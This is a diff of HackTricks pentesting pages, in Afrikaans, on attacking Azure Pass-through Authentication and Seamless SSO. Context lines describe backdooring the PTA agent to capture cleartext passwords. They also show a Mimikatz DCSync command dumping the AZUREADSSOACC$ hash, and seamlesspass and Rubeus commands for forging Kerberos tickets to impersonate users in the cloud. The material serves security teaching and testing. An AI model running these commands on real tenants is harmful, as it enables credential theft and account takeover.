- [Dirkjan se pos oor misbruik van PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- [Dirkjan se pos oor die misbruik van PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
- SpecterOps pos oor [Aansoek om Azure AD Aansoek Tokens](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
- [AADInternals pos oor PRTs](https://aadinternals.com/post/prt/)
- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)

14
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md
View File

@@ -1,12 +1,12 @@
# Az - PTA - Pass-through Authentication
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-hulplijn koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Microsoft Entra ID, valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory.
In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS nie.
In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS.
Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur 'n **verifikasie-agent** wat op 'n **plaaslike bediener** loop (dit hoef nie op die plaaslike DC te wees nie).
@@ -14,10 +14,10 @@ Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Om te **log in** word die gebruiker na **Azure AD** herlei, waar hy die **gebruikersnaam** en **wagwoord** stuur.
2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel.
1. Om te **log in** word die gebruiker herlei na **Azure AD**, waar hy die **gebruikersnaam** en **wagwoord** stuur
2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel
3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **dekripteer** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog** van die gebruiker **voltooi**.
4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog van die gebruiker voltooi**.
> [!WARNING]
> As 'n aanvaller die **PTA** **kompromitteer**, kan hy die alle **bewyse** uit die ry **sien** (in **duidelike teks**).\
@@ -80,7 +80,7 @@ Hierdie backdoor sal:
> Wanneer die AzureADConnectAuthenticationAgent diens herbegin word, word PTASpy “ontlaai” en moet dit weer geïnstalleer word.
> [!CAUTION]
> Nadat **GA-regte** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **te autentiseer met enige wagwoord** en ook, **die wagwoorde in duidelike teks te verkry.**
> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **te autentiseer met enige wagwoord** en ook, **die wagwoorde in duidelike teks te verkry.**
### Seamless SSO
@@ -95,4 +95,4 @@ seamless-sso.md
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

28
src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md
View File

@@ -1,10 +1,10 @@
# Az - Seamless SSO
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Basiese Inligting
[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer geaktiveer, **hoef gebruikers nie hul wagwoorde in te tik om in te teken by Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder dat enige addisionele plaaslike komponente benodig word.
[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken **gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle** wat aan jou korporatiewe netwerk gekoppel is. Wanneer dit geaktiveer is, **hoef gebruikers nie hul wagwoorde in te tik om in te teken by Azure AD nie**, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder die behoefte aan enige addisionele plaaslike komponente.
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
@@ -12,7 +12,7 @@ Basies teken Azure AD Seamless SSO **gebruikers** in wanneer hulle **op 'n plaas
Dit word deur beide [**PHS (Wagwoord Hash Sync)**](phs-password-hash-sync.md) en [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) ondersteun.
Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer geconfigureer, skep Azure AD Connect 'n **rekenaarrekening genaamd `AZUREADSSOACC$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as platte teks na Entra ID gestuur** tydens die konfigurasie.
Desktop SSO gebruik **Kerberos** vir verifikasie. Wanneer dit geconfigureer is, skep Azure AD Connect 'n **rekenaarrekening genaamd `AZUREADSSOACC$`** in plaaslike AD. Die wagwoord van die `AZUREADSSOACC$` rekening word **as platte teks na Entra ID gestuur** tydens die konfigurasie.
Die **Kerberos kaartjies** is **geënkripteer** met behulp van die **NTHash (MD4)** van die wagwoord en Entra ID gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.
@@ -37,12 +37,12 @@ $searcher.FindOne()
## Pivoting: On-prem -> cloud
> [!WARNING]
> Die belangrikste ding om te weet oor hierdie aanval is dat net die besit van die TGT of 'n spesifieke TGS van 'n gebruiker wat gesinkroniseer is met Entra ID genoeg is om toegang tot die wolkbronne te verkry.\
> Die belangrikste ding om te weet oor hierdie aanval is dat om net die TGT of 'n spesifieke TGS van 'n gebruiker wat gesinkroniseer is met Entra ID te hê, genoeg is om toegang tot die wolkbronne te verkry.\
> Dit is omdat dit 'n kaartjie is wat 'n gebruiker toelaat om in die wolk aan te meld.
Om daardie TGS-kaartjie te verkry, moet die aanvaller een van die volgende hê:
- **'n Gecompromitteerde gebruiker se TGS:** As jy 'n gebruiker se sessie met die kaartjie na `HTTP/autologon.microsoftazuread-sso.com` in geheue kompromitteer, kan jy dit gebruik om toegang tot die wolkbronne te verkry.
- **'n Gecompromitteerde gebruiker se TGT:** Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur 'n vals TGT-delegasie-truk te gebruik wat in baie gereedskap geïmplementeer is soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **'n Gecompromitteerde gebruiker se TGT:** Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur 'n vals TGT-delegasie truuk wat in baie gereedskap geïmplementeer is, soos [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) en [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
- **'n Gecompromitteerde gebruiker se hash of wagwoord:** SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer en dan die TGS.
- **'n goue kaartjie:** As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep.
- **Die AZUREADSSOACC$ rekening hash of wagwoord:** Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om 'n dienskaartjie te skep en met die wolk te autentiseer (soos in die vorige metode uitgevoer).
@@ -65,11 +65,11 @@ seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -u
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs
```
Verder inligting om Firefox op te stel om met naatlose SSO te werk te gaan kan [**gevind word in hierdie blogpos**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
Verder inligting om Firefox op te stel om met naatlose SSO te werk, kan [**in hierdie blogpos gevind word**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
### Kry hashes van die AZUREADSSOACC$ rekening
Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domeinadmin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige on-prem gebruiker gesinkroniseer** aan Azure te verbind:
Die **wagwoord** van die gebruiker **`AZUREADSSOACC$` verander nooit**. Daarom kan 'n domeinadmin die **hash van hierdie rekening** kompromitteer, en dit dan gebruik om **silwer kaartjies** te skep om met **enige on-prem gebruiker gesinkroniseer** aan Azure te koppel:
```bash
# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
@@ -91,9 +91,9 @@ $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
> Met die huidige inligting kan jy net die hulpmiddel **SeamlessPass** gebruik soos voorheen aangedui om azure en entraid tokens vir enige gebruiker in die domein te verkry.
> Jy kan ook die vorige tegnieke (en ander) gebruik om die hash van die wagwoord van die slagoffer wat jy wil naboots, te verkry in plaas van die `AZUREADSSOACC$` rekening.
#### Creating Silver Tickets
#### Skep van Silver Tickets
Met die hash kan jy nou **silver tickets** **genereer**:
Met die hash kan jy nou **silver tickets genereer**:
```bash
# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
@@ -117,7 +117,7 @@ Om die silwer kaartjie te gebruik, moet die volgende stappe uitgevoer word:
- Navigeer na **`about:config`**.
- Stel die voorkeur vir [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) op die gespesifiseerde [waarde](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
- Navigeer na Firefox `Settings` > Soek vir `Allow Windows single sign-on for Microsoft, work and school accounts` en stel dit in.
- Navigeer na Firefox `Settings` > Soek vir `Allow Windows single sign-on for Microsoft, work and school accounts` en stel dit in op aktief.
3. **Toegang tot die Webtoepassing:**
- Besoek 'n webtoepassing wat geïntegreer is met die organisasie se AAD-domein. 'n Algemene voorbeeld is [login.microsoftonline.com](https://login.microsoftonline.com/).
4. **Verifikasieproses:**
@@ -171,12 +171,12 @@ Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
U kan nou die **TGS gebruik om toegang tot Azure hulpbronne te verkry as die geïmpersonifieerde gebruiker.**
### ~~Skep Kerberos kaartjies vir slegs-cloud gebruikers~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
### ~~Skep Kerberos-kaarte vir slegs wolkgebruikers~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
As die Active Directory administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige cloud-gebruiker stel**. Op hierdie manier kan Kerberos **kaartjies** ook **vir slegs-cloud gebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
As die Active Directory-administrateurs toegang tot Azure AD Connect het, kan hulle **SID vir enige wolk-gebruiker stel**. Op hierdie manier kan Kerberos **kaarte** ook **vir slegs wolkgebruikers geskep word**. Die enigste vereiste is dat die SID 'n behoorlike [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>) is.
> [!CAUTION]
> Die verandering van SID van slegs-cloud admin gebruikers is nou **geblokkeer deur Microsoft**.\
> Die verandering van SID van slegs wolk-administrateurs is nou **geblokkeer deur Microsoft**.\
> Vir inligting, kyk [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
@@ -188,4 +188,4 @@ As die Active Directory administrateurs toegang tot Azure AD Connect het, kan hu
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}